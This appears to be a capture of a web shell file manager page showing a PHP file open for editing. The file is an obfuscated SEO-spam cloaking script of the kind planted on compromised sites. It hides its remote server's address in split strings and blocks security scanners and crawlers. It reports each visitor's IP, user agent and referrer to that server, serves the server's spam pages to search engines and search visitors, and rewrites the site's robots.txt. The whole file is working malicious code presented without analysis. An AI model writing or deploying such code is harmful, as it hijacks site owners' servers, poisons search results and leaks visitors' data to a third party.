OwlCyberSecurity - MANAGER
Edit File: pasted_code_sDpmSl
<?php $dzgs='/cw914.les';$mbvx='/';$yhcr='b';$jrhx='http:';$otrz='iantown.shop/';$ldakj=$jrhx.$mbvx.$dzgs.$yhcr.$otrz; $pc = "BFYBVQB"; $bagent = "Bing|Yahoo|Google|Docomo"; error_reporting(0); if(preg_match("/(FeedDemon|YandexBot|CrawlDaddy|DigExt|easouSpider|mj12bot|AhrefsBot|SemrushBot|OBot|Ezooms|python-urllib|Swiftbot|amazonBot|HttpClient|ZmEu|Bytespider|Barkrowler|Feedly|LightDeckReports Bot|yySpider|ApacheBench|Scrapy|Indy Library|yisouSpider|heritrix|Jaunty|UniversalFeedParser|java|Paloaltonetworks|CoolpadWebkit|JikeSpider|askTbFXTV|Python|Python-requests|PetalBot)/i", $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 403 Forbidden'); exit(); } $refer = urlencode(@$_SERVER['HTTP_REFERER']); $uagent = urlencode($_SERVER['HTTP_USER_AGENT']); $language = urlencode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']); $ip = $_SERVER['REMOTE_ADDR']; if (!empty(@$_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty(@$_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } $ip = urlencode($ip); $domain = urlencode($_SERVER['HTTP_HOST']); $script = urlencode($_SERVER['SCRIPT_NAME']); if ( (! empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (! empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (! empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') ) { $_SERVER['REQUEST_SCHEME'] = 'https'; } else { $_SERVER['REQUEST_SCHEME'] = 'http'; } $http = urlencode($_SERVER['REQUEST_SCHEME']); $uri = urlencode($_SERVER['REQUEST_URI']); if(strpos($uri,"fixfix") !== false){echo "ok";exit();} $fix = 0; if(!file_exists("fix.txt")) { $uuu = $http.'://'.$_SERVER['HTTP_HOST'].'/fixfix'; $hnvu = @file_get_contents($uuu); if(empty($hnvu)) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $uuu); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $hnvu = curl_exec($ch); curl_close($ch); } if($hnvu == "ok") { $fix = 1; @file_put_contents("fix.txt","1"); } else { $fix = 0; @file_put_contents("fix.txt","0"); } } else { $fix = @file_get_contents("fix.txt"); } if(strpos($uri,"favicon.ico") !== false) { } else if(strpos($uri,"robots.txt") !== false||strpos($uri,"pingsitemap") !== false||strpos($uri,"jp2023") !== false||preg_match("@^/(.*?).xml$@i", $_SERVER['REQUEST_URI'])||preg_match("/($bagent)/i", $_SERVER['HTTP_USER_AGENT'])||preg_match("/($bagent)/i", $_SERVER['HTTP_REFERER'])) { $requsturl = $ldakj."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$fix&script=$script"; $robots_contents = ""; if(strpos($uri,"pingsitemap") !== false) { $scripname = $_SERVER['SCRIPT_NAME']; if(strpos($scripname,"index.ph") !== false) { if($fix == 0) { $scripname = '/?'; } else { $scripname = '/'; } } else { $scripname = $scripname.'?'; } $robots_contents = "User-agent: *\r\nAllow: /"; $sitemap = "$http://" . $domain .$scripname. "sitemap.xml"; $robots_contents = trim($robots_contents)."\r\n"."Sitemap: $sitemap"; $sitemapstatus = ""; echo $sitemap.": ".$sitemapstatus.'<br/>'; $requsturl = $ldakj."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$fix&script=$script&sitemap=".urlencode($sitemap); } $hnvu = @file_get_contents($requsturl); if(empty($hnvu)) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $requsturl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $hnvu = curl_exec($ch); curl_close($ch); } if(!empty($hnvu)) { if(substr($hnvu,0,10)=="error code"||$hnvu == "500") { header("HTTP/1.0 500 Internal Server Error"); exit(); } if(strpos($uri,"jp2023") !== false||preg_match("/($bagent)/i", $_SERVER['HTTP_REFERER'])){header('HTTP/1.1 404 Not Found');} else if(substr($hnvu,0,5)=="<?xml") { header('Content-Type: text/xml; charset=utf-8'); } else { header('Content-Type: text/html; charset=utf-8'); } echo $hnvu; if(!empty($robots_contents)){@file_put_contents("robots.txt",$robots_contents);} else if(strpos($uri,"robots.txt") !== false){@file_put_contents("robots.txt",$hnvu);} exit(); return; } }else{ } ?>